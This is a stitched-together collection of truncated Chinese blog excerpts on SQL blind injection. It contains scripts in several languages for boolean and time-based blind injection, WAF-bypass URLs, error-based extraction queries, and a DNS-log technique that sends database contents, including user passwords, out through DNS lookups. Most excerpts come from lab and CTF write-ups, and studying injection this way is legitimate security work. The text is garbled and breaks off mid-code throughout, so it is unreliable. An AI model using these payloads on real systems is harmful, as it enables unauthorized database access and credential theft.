$sUrl = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'; $sPost = 'inject=Inject&injection='; $sCharset = 'ABCDEF0123456789'; /* for every character */ for ($i=0, $hash=''; $i<32; ++$i) { $ch = $sCharset; do { $ch1 = substr($ch, 0, intval(strlen($ch)/2)); $ch2…
之前在网上见到一个盲注的题目,正好闲来无事,便用java写了个盲注脚本,并记录下过程中的坑 题目源码: <?php header("Content-Type: text/html;charset=utf-8"); session_start(); require_once 'sql.php'; if((!isset($_SESSION["session"])) or (!isset($_COOKIE["username"]))){ echo…
http://www.xxx.cn/cp.asp?classid=3http://www.xxx.cn/cp.asp?classid=3 and //有拦截关键字http://www.xxx.cn/cp.asp?classid=3 AND 1=1 //大写绕过http://www.xxx.cn/cp.asp?classid=3 AND 1=2http://www.xxx.cn/cp.asp?classid=3 ORDER BY 8%16 //正常http://www.xxx.cn/cp.asp?…
盲注脚本2.基于bool #!/usr/bin/env python #encoding:utf-8 #by i3ekr #using # python sqlinject.py -D "数据库名" -T "表明" -C "列明" --dump "列明" # import requests,re,os web = "http://139.199.179.167/sql-inject/sqli-labs/Less-5/…
Golang 盲注脚本 payload部分 其中脚本最重要的环节就是payload部分了,需要如何去闭合,如何构造SQL语句来达到判断的效果.(还有如何绕过waf等等...) bool盲注 下面是最基础的布尔型盲注的payload ' and length(database()=n)--+ ' and (ascii(substr(database(),1))=110 --+ ' and length((select table_name from information_schema.table…
import requests import string #mysql 手动注入 通用脚本 适用盲注 可以跟具自己的需求更改 def home(): url="url" list=string.digits+string.letters+"!@#$%^&*()_+{}-=<>,./?" s=requests.session() success = "" # 成功返回的特征 error="" #失败返回的体…
0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Windows 10 X64Browser: Firefox QuantumPython version : 2.7Tools: JetBrains PhpStorm 2018.1.6 x64.Seay代码审计工具 搭建这个程序也挺简单的,也是一步到位. 0x03 漏洞复现 首先在程序的后台添加一条数据 执行我…
sqli-labs第八关:单引号布尔型盲注,手工测出database长度,个人觉得手工比较快 然后使用脚本测database内容,这个脚本就比手工快多了,脚本内容如下: import sys import requests url="http://127.0.0.1/sqli-labs-master/Less-8/?id=1%s" payload="' and ascii(substr(database(),%s,1))>%s --+" database=''…
0x01 技术原理 这里是利用load_file这个函数利用smb请求方式请求域名机器下的一个文件,由于计算机对该域名不熟悉所以需要优先请求DNS,所以我们通过DNS日志记录中的内容来获取回显.解决了盲注回显的问题,或者是时间注入判断的问题. 熟悉MySQL的人都知道,这个利用有几个要求或者说是限制条件 # 条件1 + 1.由于基于SMB请求,需要在Windows环境下 # 条件2 + 2.需要MySQL的配置支持,主要是这个配置需要为空 secure_file_priv 0x02 测试 0x0…
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行猜解.如果手工进行猜解,这就会有很大的工作量.所以这里就使用python写一个自动化脚本来进行猜解,靶场选择的是sqli-labs的第八关. 参考资料:<python安全攻防> 和盲注相关的payload 写脚本之前需要对盲注流程有一个了解.这样写脚本时,思路才不会乱.这里用sqli-labs的第…
import urllib import urllib2 def doinject(payload): url = 'xxxxxxxxxxxxxxxxxxxxx' values = {'injection':payload,'inject':'Inject'} data = urllib.urlencode(values) #print data req = urllib2.Request(url, data) req.add_header('cookie','xx=xxxxxxxxxxxxxx…
时间盲注脚本 #!/usr/bin/env python # -*- coding: utf-8 -*- import requests import time payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.' #匹配用的字符串 user='' print 'Start to retrive current user:' for i in range(1,23): for payload…
猜解当前数据库名 输入 ' # ,显示不存在: 输入 ' # ,显示不存在: 输入 ' # ,显示不存在: 输入 ' # ,显示存在: 采用二分法猜解数据库名 输入 ' ,)) # ,显示存在,说明数据库名的第一个字符的 (小写字母 a 的 ascii 值): 输入 ' ,)) # ,显示存在,说明数据库名的第一个字符的 (小写字母 z 的 ascii 值): 输入 ' ,)) # ,显示存在,说明数据库名的第一个字符的 (小写字母 m 的 ascii 值): 输入 ' ,)) # ,显示存在,…
mysql: 1.left() //left()函数 left(a,b)从左侧截取a,的b位 2.mid() //mid()函数 参数 描述 column_name 必需.要提取字符的字段. start 必需.规定开始位置(起始值是 1). length 可选.要返回的字符数.如果省略,则 MID() 函数返回剩余文本. MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符. 3.substr() //su…
delete_cart_goods.php  post  id=a * sq_xfkjbd 暴库and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),f…
第二种方法 使用brup进行盲注  也是一个道理 不多贴了 这里提一下  burp怎么判断超时 Options->Connections->Tiimeouts->Normal这一空 改成你想要的超时时间(默认为120秒). 在进行Intruder攻击时,如果连接超时,则状态码和length一栏为空.由此可以判断连接是否超时. 需要注意的是:在开始Intruder攻击前,需要把Intruder->Options->Request Engine->Number of thr…
遇到中文的列名 利用unicode 进行单字节的转换 declare @s varchar(50);set @s = N'拉';select UniCode(@s),nchar(UniCode(@s)); 绕狗sql 方法 利用dnslog 进行sql /xx.aspx?id='--/%2a%0a%3bDECLARE+%40host+varchar(1024)%3bSELECT+%40host%3dCONVERT(varchar(1024),(select+top+1+user_pwd+from…
转自cdxy师傅:https://www.cdxy.me/?p=789 PWNHUB 一道盲注题过滤了常规的sleep和benchmark函数,引发对时间盲注中延时方法的思考. 延时函数 SLEEP mysql); +----------+ ) | +----------+ | +----------+ row in set (5.00 sec) BENCHMARK mysql,sha()); +----------------------------+ ,sha()) | +---------…
-----------------------------------------MYSQL 5+----------------------------------------- 我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息.故攻击方式如下: 1. 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名. 注:正则表达式中 ^[a-z] 表示字符串中开始字符是在 a-z范围内 index.…
[转载]sql 盲注之正则表达式攻击 -----------------------------------------MYSQL 5+----------------------------------------- 我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息.故攻击方式如下: 判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名. 注:正则表达式中 ^[a-z] 表示字符串中开始字符…
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲注系列的第一篇,介绍盲注中的报错注入. 0×01 报错注入原理 其实报错注入有很多种,本文主要介绍几种常见的报错方法,有新姿势后续再更新. 1. Duplicate entry报错: 一句话概括就是多次查询插入重复键值导致count报错从而在报错信息中带入了敏感信息. 关键是查询时会建立临时表存储数…
Background-2 盲注的讲解 何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面.此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注.从background-1中,我们可以知道盲注分为三类 •基于布尔SQL盲注 •基于时间的SQL盲注 •基于报错的SQL盲注 Ps:知识点太多了,这里只能简单列出来大致讲解一下.(ps:每当看到前辈的奇淫技巧的payload时,能想象到我内心的喜悦么?我真的想细细的写写这一块,但是不知道该怎么写或者小伙伴…
题目地址:http://ctf5.shiyanbar.com/web/wonderkun/index.php 根据提示  “我要把攻击我的人都记录db中去!”  猜测这是insert into注入,会向数据库储存ip地址,所以注入点便是我们的ip,而ip可以用X-Forwarded-For伪造 由于注入点的特殊,这里注入是不能用逗号的,因为服务器在从X-Forwarded-For中取ip的时候,会把逗号作为分割符区分多个ip,一般会取第一个作为用户真实ip进行储存,所以我们传输的数据,只有第一个…
无需页面报错,根据页面响应时间做判断! mysql基于时间的盲注 ====================================================================================================================================================================== * 猜解库名 - 下面是猜解正确 mysql> select sleep(1) from (sele…
本文转自:i春秋论坛       前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录. sqmap也有不灵的时候,有时需要根据情况自写脚本探测 正文: 本地用大表姐给的sql和php文件搭建了个布尔盲注的靶机 另外感谢大表姐的指导. 稍作解释: 注入语句里用%s占位,等待在for循里面依次判断长度 [AppleScript] 纯文本查看 复制代码 l = "' and length(user())=%s and '1'='1" requests获取页面执行返回,f…
order by后面的注入,一般先尝试报错注入,无报错的时候可以通过rand(ture)和rand(false)来进行bool型盲注,但是今天遇到完全没有数据回显的(也就是数据库中没有数据)情况,这就比较麻烦了.记录一下sql语句 参考文章:https://www.cnblogs.com/babers/p/7397525.html https://www.cnblogs.com/Vinson404/p/7246792.html?utm_source=itdadao&utm_medium=refe…
布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length()  返回字符串的长度, 可以返回 数据库 表明 列名的 长度 substr()  截取字符串.subster(string, start, length)   字符串, 从第几位截取,截取长度是多少 ascil()  返回ascil码 基于时间盲注: sleep(n)  将程序挂起一段时间,n为n秒 if(expr1,exp…
仅供学习代码参考 1#python dvwa布尔盲注自动化脚本 2 import requests 3 import string 4 import time 5 INIT_URL="http://127.0.0.1/DVWA-master/DVWA-master/vulnerabilities/sqli_blind/index.php?id=" 6 token={"security":"low","PHPSESSID":&q…
?id= and ,,sleep()) ?id= and ,,sleep()) if语句/if()函数 在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确: ?id= and = ?id= and = 返回的都是同一个页面 用测试语句 and sleep(5) 判断 是否存在时间盲注 构造语句 ?id= and ,))>,,sleep()) 这句话的意思是如果返回的事错误 那我就sleep(5)秒 好的我们的语句构造成功 0X01爆数据库长度 ?id= and ,,sleep…
盲注 那么我们来了解一点盲注的语法 这里面是语法的介绍 https://blog.csdn.net/alex_seo/article/details/82148955 0X01第一步我们先判断当前数据库的长度 语法构造 /index.php?id=%20and%20length((select%20database()))%3E3 正确 index.php?id= and length((select database()))>4 错误 那我们确定数据库名字大于3不大于4 那么数据库长度就是4了…